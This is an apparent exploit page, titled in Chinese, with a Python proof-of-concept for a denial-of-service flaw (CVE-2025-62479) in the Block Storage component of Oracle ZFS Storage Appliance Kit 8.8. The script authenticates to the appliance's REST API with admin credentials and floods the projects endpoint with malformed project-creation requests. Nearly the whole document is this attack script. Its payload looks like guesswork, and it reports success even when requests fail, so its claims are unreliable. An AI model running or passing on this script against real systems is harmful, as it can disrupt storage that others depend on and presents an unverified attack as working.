CVE-2025-62479：Oracle ZFS存储设备套件拒绝服务漏洞

# CVE-2025-62479 - Oracle ZFS Storage Appliance Kit Block Storage DoS PoC # Vulnerability: Partial Denial of Service via HTTP # Requirements: High privileged account credentials # Target: Oracle ZFS Storage Appliance Kit version 8.8 # Component: Block Storage import requests import sys # Target configuration TARGET_HOST = "https://target-zfs-appliance:215" USERNAME = "admin" PASSWORD = "high_priv_password" # Step 1: Authenticate to the Oracle ZFS Storage Appliance Kit via HTTP API def authenticate(host, username, password): """ Authenticate to the Oracle ZFS Storage Appliance Kit REST API The appliance typically exposes a REST API on port 215 """ session = requests.Session() auth_url = f"{host}/api/access/v1.0/auth" payload = { "username": username, "password": password } headers = {"Content-Type": "application/json"} try: response = session.post(auth_url, json=payload, headers=headers, verify=False) if response.status_code == 201 or response.status_code == 200: print("[+] Authentication successful") return session else: print(f"[-] Authentication failed: {response.status_code}") return None except Exception as e: print(f"[-] Connection error: {e}") return None # Step 2: Exploit the Block Storage component to trigger partial DoS def exploit_block_storage(session, host): """ Send crafted requests to the Block Storage component to trigger partial denial of service condition """ # Endpoint for Block Storage operations block_storage_url = f"{host}/api/storage/v1.0/projects" headers = {"Content-Type": "application/json"} # Craft a request that triggers the vulnerability in Block Storage # The vulnerability is in how the Block Storage component handles # certain operations, leading to resource exhaustion or service disruption payload = { "name": "exploit_project", "sharesize": 0, "defaultvolblocksize": "", "logbias": "latency", "compression": "off", "dedup": "off", "encryption": "off", "quota": 0, "reservation": 0, "recordsize": "" } try: # Repeatedly send requests to trigger partial DoS for i in range(100): response = session.post(block_storage_url, json=payload, headers=headers, verify=False) print(f"[*] Request {i+1}: Status {response.status_code}") # Check if the service is degraded if response.status_code == 500 or response.status_code == 503: print(f"[!] Service disruption detected at request {i+1}") return True print("[+] Exploit completed - partial DoS may have been triggered") return True except Exception as e: print(f"[-] Exploit error (service may be disrupted): {e}") return True # Main execution if __name__ == "__main__": print(f"[*] Targeting: {TARGET_HOST}") print(f"[*] CVE-2025-62479 - Oracle ZFS Storage Appliance Kit DoS") session = authenticate(TARGET_HOST, USERNAME, PASSWORD) if session: exploit_block_storage(session, TARGET_HOST) else: print("[-] Failed to authenticate. High privileges required.") sys.exit(1)